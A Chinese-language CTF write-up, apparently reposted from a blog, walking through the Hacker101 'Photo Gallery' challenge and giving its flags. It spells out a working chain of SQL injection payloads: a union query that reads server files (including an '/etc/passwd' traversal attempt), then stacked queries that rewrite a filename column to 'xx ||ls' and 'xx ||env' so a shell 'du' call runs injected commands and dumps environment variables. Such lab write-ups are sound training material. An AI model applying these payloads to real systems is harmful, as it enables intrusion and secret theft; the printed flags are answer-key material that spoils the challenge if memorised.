1. 程式人生 > >【hacker101 CTF】Photo Gallery

【hacker101 CTF】Photo Gallery

0x01

開啟首頁看到

檢視原始碼,發現圖片都是通過”fetch?id=1”這種方式載入的

 簡單測了一下存在SQL注入。

直接上sqlmap跑

 第一個flag:

^FLAG^d45b332cff0a6eeb1468f3ec29d0376468bd8f86bdba0369da743504e557a9b4$FLAG$

0x02

繼續來看,注意到表photos中的filename儲存了照片的路徑,也就是說,後臺處理邏輯通過我們url中傳遞的id引數,來從資料庫中取出了照片檔案的路徑,然後讀取檔案內容返回給我們

select filename from photo where id=N;

既然這裡存在sql漏洞,那麼我們就可以利用這一點來控制sql的查詢結果也就是filename,進而讀取我們控制的filename,我們驗證一下,先訪問url:

http://xxxx/xxx/fetch?id=4

 就如資料庫結果呈現的一樣,表photos中id=4時沒有對應記錄,然後訪問url:

http://xxxx/xxx/fetch?id=4 union select 'files/adorable.jpg' #

 雖然id=4沒有記錄,但我們通過union查詢成功偽造了filename,使得後臺程式讀取了第一張照片,那麼繼續,試試任意檔案讀取的經典payload:

http://xxxx/xxx/fetch?id=4 union select '../../../../../../../etc/passwd' #

 但是失敗了。

可能是 ../ 或者 ..被過濾或者替換掉了。

這樣的話,我們只能讀取當前目錄及其子目錄下的檔案了。

檢視hint,告訴我們這個應用執行在uwsgi-nginx-flask-docker映象上。

uwsgi是什麼?

百度了一下:

uWSGI是一個Web伺服器,它實現了WSGI協議、uwsgi、http等協議。Nginx中HttpUwsgiModule的作用是與uWSGI伺服器進行交換。WSGI是一種Web伺服器閘道器介面。它是一個Web伺服器(如nginx,uWSGI等伺服器)與web應用(如用Flask框架寫的程式)通訊的一種規範。

好吧,應該就是個中介軟體吧,搜了一下它的部署,一般uwsgi-nginx-flask-docker這種架構部署完了web應用的目錄結構是這樣子的:

|____docker-compose.yaml
|____web
| |____Dockerfile
| |____entrypoint.sh
| |____start.sh
| |____app
| | |______init__.py
| | |____models.py
| | |____views.py
| | |____requirements.txt
| | |____utils.py
| | |____helper.py
| | |____settings.py
| | |____app.py
| | |____uwsgi.ini
|____README.md


docker-compose.yaml和web資料夾和最外層readme.md同目錄
web下面:Dockerfile, entrypoint.sh, start.sh, app
app下面:app.py, uwsgi.ini, requirements.txt, models.py, views.py等

其中uwsgi.ini是uWSGI的配置檔案,我們訪問url:

http://xxxx/xxx/fetch?id=4 union select 'uwsgi.ini' #

讀取了它的內容:

依照uwsgi的引數定義

module = main

表示載入一個main.py這個模組,這應該是這個web應用的主要程式碼,我們繼續讀取main.py

 我們得到了第二個flag

^FLAG^6c1ad55b8f7a422e7e0e6c1c15be439439ef513ac8cce290c3ece7a27b3983d1$FLAG$

0x03

接下來,對main.py進行審計。main.py的程式碼整理如下:

 1 from flask import Flask, abort, redirect, request, Response
 2 import base64, json, MySQLdb, os, re, subprocess
 3 
 4 app = Flask(__name__)
 5 
 6 home = '''
 7 <!doctype html>
 8 <html>
 9     <head>
10         <title>Magical Image Gallery</title>
11     </head>
12     <body>
13         <h1>Magical Image Gallery</h1>
14 $ALBUMS$
15     </body>
16 </html>
17 '''
18 
19 viewAlbum = '''
20 <!doctype html>
21 <html>
22     <head>
23         <title>$TITLE$ -- Magical Image Gallery</title>
24     </head>
25     <body>
26         <h1>$TITLE$</h1>
27 $GALLERY$
28     </body>
29 </html>
30 '''
31 
32 def getDb():
33     return MySQLdb.connect(host="localhost", user="root", password="", db="level5")
34 
35 def sanitize(data):
36     return data.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;')
37 
38 @app.route('/')
39 def index():
40     #使用cursor()方法獲取操作遊標 
41     cur = getDb().cursor()        
42     cur.execute('SELECT id, title FROM albums')
43     #接收全部的返回結果行,放入列表albums。   [(id1,title1),(id2,title2),(id3,title3)]
44     albums = list(cur.fetchall())
45 
46     rep = ''
47     for id, title in albums:
48         rep += '<h2>%s</h2>n' % sanitize(title)
49         rep += '<div>'
50         cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
51         fns = []
52         #遍歷。 src="fetch?id=%i"  id取值於pid,pid與pfn(filename)想關聯,並將pfn檔案路徑存入列表fns
53         for pid, ptitle, pfn in cur.fetchall():
54             rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
55             fns.append(pfn)
56         #subprocess.check_output函式可以執行一條shell命令,並返回命令的輸出內容
57         #du命令:檢視資料夾和檔案的磁碟佔用情況     
58         # || 符合:當前面執行出錯時,執行後面的
59         rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('n', 1)[-1] + '</i>'
60         rep += '</div>n'
61 
62     return home.replace('$ALBUMS$', rep)
63 
64 @app.route('/fetch')
65 def fetch():
66     cur = getDb().cursor()
67     #這裡存在注入。我們可以控制request.args['id']達到控制sql過程
68     if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
69         abort(404)
70 
71     # It's dangerous to go alone, take this:
72     # ^FLAG^276c9cab4db9a0f361be2059933e1238ddac12c6b3c3ce867e736068284e9036$FLAG$
73     #以只讀的方式,讀檔案
74     return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()
75 
76 if __name__ == "__main__":
77     app.run(host='0.0.0.0', port=80)

重點在第59行

rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('n', 1)[-1] + '</i>'

貌似可以進行命令注入,前提是如果我們能控制列表fns中的項fn,例如:

fns=["xx || ls"]

則可以執行系統命令ls,可以怎麼控制fns呢

看第50-55行

        cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
        fns = []
        for pid, ptitle, pfn in cur.fetchall():
            rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
            fns.append(pfn)

我們可以得知列表fns的項來自表photos中filename,而所以如果我們能夠控制表photos中的filename就能最終進行程式碼注入,那麼哪裡可以進行控制表photos中的filename呢,我們來看65行開始的程式碼:

def fetch():
    cur = getDb().cursor()
    #這裡存在注入。我們可以控制request.args['id']達到控制sql過程
    if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
        abort(404)

    # It's dangerous to go alone, take this:
    # ^FLAG^276c9cab4db9a0f361be2059933e1238ddac12c6b3c3ce867e736068284e9036$FLAG$
    #以只讀的方式,讀檔案
    return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()

這裡存在SQL注入。如果execute函式支援sql堆疊查詢,我們不就可以控制表photos中的資料了麼,我們先來測試一下,訪問url

http://xxxx/xxx/fetch?id=1;update photos set title='test' where id=1;commit;--

(增刪改操作,別忘了 commit )

也就是讓後臺執行

cur.execute('SELECT filename FROM photos WHERE id=1;update photos set title='test' where id=1;commit;--')

然後訪問主頁:

可以看到title被成功的改了過來,說明execute函式是支援堆疊查詢的,那麼就可以構造payload的,假如我要最終執行的命令是ls:

那麼53行就應該為:

rep += '<i>Space used: ' + subprocess.check_output('du -ch files/xx ||ls || exit 0', shell=True, stderr=subprocess.STDOUT).strip().rsplit('n', 1)[-1] + '</i>'

那麼fns=["xx ||ls"]

所以filename="xx ||ls"
所以我們只要執行update photos set filename='xx ||ls' where id=1,並且刪除另外表photos中另外兩行delete from photos where id<>1,就能保證最終filename="xx ||ls",我們來實踐一下:依次訪問url:

http://xxxx/xxx/fetch?id=1;update photos set filename='xx ||ls' where id=1;commit;--
http://xxxx/xxx/fetch?id=1;delete from photos where id<>1;commit;--

然後訪問主頁:

http://xxxx/xxx/

 已經返回了結果,但為什麼只有一項,原因在第59行

rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('n', 1)[-1] + '</i>'

結尾處的(...).strip().rsplit('n',1)[-1]使得結果只輸出一行,怎麼才能讓結果全部輸出呢

辦法有多種,我用的是...|tr -t '\n' ':',(tr 命令用於轉換或刪除檔案中的字元),先訪問url:

http://xxxx/xxx/fetch?id=1;update photos set filename="xx ||ls|tr -t '\n' ':'" where id=1;commit;--

再訪問主頁

 但是並沒有flag.

最後發現flag居然在env環境變數裡,

訪問url:

http://xxxx/xxx/fetch?id=1;update photos set filename"xx ||env|tr -t 'n' ':'" where id=1;commit;--

然後訪問主頁:

 flag3:

^FLAG^650c307fe7ad00ef88a27fac22f3ec641e9445dfb5780f74ede03871393847ff$FLAG$

&n